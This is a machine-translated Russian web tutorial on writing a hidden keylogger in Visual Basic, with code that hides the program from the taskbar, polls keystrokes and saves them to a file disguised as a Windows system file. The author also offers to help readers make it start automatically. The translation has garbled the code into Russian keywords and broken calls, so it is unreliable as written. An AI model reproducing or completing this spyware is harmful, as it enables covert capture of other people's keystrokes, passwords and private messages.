This is a machine translation. The original page (in English) is available here.

Последние мировые новости: года-Почему США рассматривают возможность запрета TikTok RSS-канал

Главная> > Статьи> > Создание кейлоггера в VB
Лучшие кейлоггеры
Посмотреть еще...

Создание кейлоггера в VB

  •  
Рейтинг пользователя: 4.5-2 голоса
ОК...Я предполагаю, что у вас есть базовое понимание того, как работает visual basic и как создавать программы, отлаживать и компилировать. Если нет, напишите Мне, и я, возможно, смогу вам помочь.

Во-первых, если у вас его нет, возьмите его. Апигуид. Скачать его можно по адресу http://www.mentalis.org/agnet/apiguide.shtml

ОК. Откройте VB и запустите новое приложение. Добавьте в форму кнопку, таймер и модуль(я знаю, что модуль на самом деле не является частью формы). Это все. Измените там заголовок кнопки, чтобы начать ведение журнала
(если вы хотите, чтобы это началось дальше startup...pm я или напишите Мне по электронной почте)
Теперь, используя руководство api или просто копируя его отсюда, объявите новую функцию. функция GetASyncKeyState

Объявить функцию GetAsyncKeyState Lib "user32" псевдоним "GetAsyncKeyState"
(Бывал vKey так долго) как целое число

^- - - поместите это в раздел Объявления модуля.

Это все одна строка кода. Убедитесь, что это так. и не делится на 2 части.

Теперь у вас есть новая функция для использования через вашу программу.
ОК...
теперь мы должны сделать его "невидимым". Теперь мне очень жаль, но в Windows XP я не знаю, как удалить его из раздела "процессы" Диспетчера задач. Но не только это...его не видно.

ОК. В коде кнопки..., в событии щелчка, конечно...
ввести следующее

app.taskvisible = false
form1.visible = false
form1.hide
timer1.enabled = true


'and also in the properties section of the form...change the shownintaskbar to false

Теперь, когда мы нажимаем кнопку button...it становится невидимым.

Теперь нам понадобятся некоторые переменные....
Вернувшись в раздел Объявления, объявите следующее...

Dim strLetter as String, strTotal as String

Теперь в коде таймера поставьте вот это. Я потом все объясню.
также установите интервал равным 1 и enabled равным false

Private Sub Timer1_Timer()

For I = 28 To 128

If GetAsyncKeyState <> 0 Then

strLetter = Chr(I)


'Now here you can add certain things
'so that instead of displaying
'retarded characters, it tells you
'what the user pressed. What I mean
'is if they press Enter/Return, it will
'Show some weird box. You dont want that
'so u make a select case about I for each
'button u want to customize. PM me or Email
'me for help on this part.


strTotal = strTotal & strLetter


End If

Next I

open "C:\Windows\SysResources.DAT" for output as #1
Print #1, strTotal
close #1

End Sub


'End Code

Теперь все, что вам нужно сделать, это когда вы хотите проверить нажатые клавиши, открыть C:\Windows\SysResource.DAT в блокноте, и вот он. Эта программа не будет работать при запуске. Если вы хотите знать, как это сделать, напишите Мне в личку, но предпочтительно по электронной почте. Я бы предпочел, чтобы вы добавили меня в MSN Messenger. Моя электронная почта для мессенджера такова... Black_viper_13@hotmail.com
Моя электронная почта для электронной почты такова..... Anarchist_ninja_thief@hotmail.com.

Надеюсь, это поможет!
Вот вся кодировка для ламеров...

- Начало

Dim strLetter As String, strTotal As String, old as string

Private Sub Command1_Click()
Таймер1.Включено = True
Конец Субмарины

Private Sub Form_Load()
Команда 1.Подпись = "Начать Логгин"
Таймер1.Включено = Ложь
Таймер1.Интервал = 1
Конец Субмарины

Private Sub Timer1_Timer()
Для I = от 28 до 128 'ASCII-кода
Если GetAsyncKeyState <> 0, То<>
strLetter = Chr (I)
Конец, Если
Если strletter < > старый, то<>
Старый = strletter
strTotal = strTotal & old
Конец, Если
Следующий Я
Открой "C:\windows\SysResources.dat " для вывода Как #1
Print #1, strTotal
Закрыть #1
Конец Субмарины

- Конец

я думаю, что это все, кроме модуля, конечно.
Дата публикации:
Читайте статью полностью
Главная> > Статьи> > Создание кейлоггера в VB
Важно! Установка средств компьютерного мониторинга на компьютеры, которыми вы не владеете или не имеете разрешения на мониторинг, может нарушать местное, государственное или федеральное законодательство.